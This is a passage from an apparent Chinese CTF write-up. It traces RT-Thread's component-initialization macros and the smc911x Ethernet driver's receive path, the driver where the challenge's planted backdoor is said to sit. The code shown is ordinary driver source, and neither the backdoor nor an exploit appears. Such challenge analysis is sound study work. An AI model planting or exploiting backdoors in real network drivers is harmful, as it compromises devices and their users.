/* * Components Initialization will initialize some driver and components as following * order: * rti_start --> 0 * BOARD_EXPORT --> 1 * rti_board_end --> 1.end * * DEVICE_EXPORT --> 2 * COMPONENT_EXPORT --> 3 * FS_EXPORT --> 4 * ENV_EXPORT --> 5 * APP_EXPORT --> 6 * * rti_end --> 6.end * * These automatically initialization, the driver or component initial function must * be defined with: * INIT_BOARD_EXPORT(fn); * INIT_DEVICE_EXPORT(fn); * ... * INIT_APP_EXPORT(fn); * etc. */static int rti_start(void) { return 0; }INIT_EXPORT(rti_start, "0");static int rti_board_start(void) { return 0; }INIT_EXPORT(rti_board_start, "0.end");static int rti_board_end(void) { return 0; }INIT_EXPORT(rti_board_end, "1.end");static int rti_end(void) { return 0; }INIT_EXPORT(rti_end, "6.end");

还有这个宏定义:

define INIT_EXPORT(fn, level) \ RT_USED const init_fn_t __rt_init_##fn RT_SECTION(".rti_fn." level) = fn

可以得出结论:对于编译出来的二进制文件中,存在一个数据段,名为 .rti_fn

。这个段上存放着一些函数指针,用于初始化一系列设备等等;而刚刚所说的两个函数指针所表示的是注册在这个段上的两个函数指针,用于标识段上特定类型函数指针的位置。

这里我们可以看到,使用宏 INIT_APP_EXPORT

声明的设备,其函数指针也会存放在 __rt_init_rti_board_end -> __rt_init_rti_end 这个范围。

也就是说使用 INIT_APP_EXPORT 声明的设备,其初始化函数会在
rt_components_init

中执行。

接下来我们看看 smc911x

设备驱动,也就是 backdoor 所在的设备驱动 (
bsp\qemu-vexpress-a9\drivers\drv_smc911x.c

)。

可以看到,该文件中存在这样的一条语句:

INIT_APP_EXPORT(smc911x_emac_hw_init);

也就是说 smc911x 设备将初始化函数 smc911x_emac_hw_init

注册进了 .rti_fn

段中,等待被函数 rt_components_init

所调用。而 smc911x_emac_hw_init

函数源码如下:

int smc911x_emac_hw_init(void){ _emac.iobase = VEXPRESS_ETH_BASE; // 设置中断号 _emac.irqno = IRQ_VEXPRESS_A9_ETH; ... /* set INT CFG */ smc911x_reg_write(&_emac, LAN9118_IRQ_CFG, LAN9118_IRQ_CFG_IRQ_POL | LAN9118_IRQ_CFG_IRQ_TYPE); ...#ifdef RT_USING_DEVICE_OPS _emac.parent.parent.ops = &smc911x_emac_ops;#else _emac.parent.parent.init = smc911x_emac_init; _emac.parent.parent.open = RT_NULL; _emac.parent.parent.close = RT_NULL; _emac.parent.parent.read = RT_NULL; _emac.parent.parent.write = RT_NULL; _emac.parent.parent.control = smc911x_emac_control;#endif _emac.parent.parent.user_data = RT_NULL; // 注意! 这里设置了 eth_rx 和 eth_tx 方法 _emac.parent.eth_rx = smc911x_emac_rx; _emac.parent.eth_tx = smc911x_emac_tx; /* register ETH device */ // 对 eth device 进行初始化 eth_device_init(&(_emac.parent), "e0"); ...}

该函数主要设置了一些操作(ops),例如 smc911x_emac_init

、
smc911x_emac_rx

、
smc911x_emac_tx

。我们可以看到该函数为结构体 _emac

设置了 eth_rx

和 eth_tx

字段,因此当 lwIP 线程需要收发信息时,会调用该设备的 smc911x_emac_rx

、
smc911x_emac_tx

这两个函数。

这里比较有意思的是结构体 _emac

的类继承关系:

struct eth_device_smc911x{ /* inherit from Ethernet device */ struct eth_device parent; /* interface address info. */ rt_uint8_t enetaddr[MAX_ADDR_LEN]; /* MAC address */ uint32_t iobase; uint32_t irqno;};

这里存在一个 parent 结构体,类似于 C++ 中的继承,表示了一个具体的以太网设备。而该 eth_device

结构体源码如下:

struct eth_device{ /* inherit from rt_device */ struct rt_device parent; /* network interface for lwip */ struct netif *netif; struct rt_semaphore tx_ack; rt_uint16_t flags; rt_uint8_t link_changed; rt_uint8_t link_status; rt_uint8_t rx_notice; /* eth device interface */ struct pbuf* (*eth_rx)(rt_device_t dev); rt_err_t (*eth_tx)(rt_device_t dev, struct pbuf* p);};#ifdef __cplusplusextern "C" {#endif rt_err_t eth_device_ready(struct eth_device* dev); rt_err_t eth_device_init(struct eth_device * dev, const char *name); rt_err_t eth_device_init_with_flag(struct eth_device *dev, const char *name, rt_uint16_t flag); rt_err_t eth_device_linkchange(struct eth_device* dev, rt_bool_t up); int eth_system_device_init(void);#ifdef __cplusplus}

这个结构体描述了一个抽象的以太网设备接口,其中这些函数指针在 lwIP 层会被调用。

注意到最后 smc911x_emac_hw_init

函数执行了一下 eth_device_init

函数,而该函数最终会调用到 smc911x_emac_init

函数,在其中注册中断处理例程 smc911x_isr:

rt_hw_interrupt_install(emac->irqno, smc911x_isr, emac, "smc911x");

当以太网设备有数据发出中断后,中断处理例程 smc911x_isr

被调用,如果数据准备好了,则调用 eth_device_ready

:

static void smc911x_isr(int vector, void *param){ uint32_t status; struct eth_device_smc911x *emac; emac = SMC911X_EMAC_DEVICE(param); status = smc911x_reg_read(emac, LAN9118_INT_STS); if (status & LAN9118_INT_STS_RSFL) { eth_device_ready(&emac->parent); } smc911x_reg_write(emac, LAN9118_INT_STS, status); return ;}

而 eth_device_ready

函数会发送邮件给 erx 线程:

rt_err_t eth_device_ready(struct eth_device* dev){ if (dev->netif) { if(dev->rx_notice == RT_FALSE) { dev->rx_notice = RT_TRUE; // 发送邮件给 erx 线程 return rt_mb_send(ð_rx_thread_mb, (rt_ubase_t)dev); } else return RT_EOK; /* post message to Ethernet thread */ } else return -RT_ERROR; /* netif is not initialized yet, just return. */}

这样,整个流程就全部出来了,正对上了最上面的那个流程图。

特别感谢呆呆师傅的 FLAG 题解技术分享。

祝大家新年快乐\~

还有欢迎大家加入星球一起学习\~

原文链接:https://mp.weixin.qq.com/s?__biz=MzkzMTIwMDQwMA==&mid=2247483875&idx=1&sn=19cf45fc18d83575f26c31f463070f63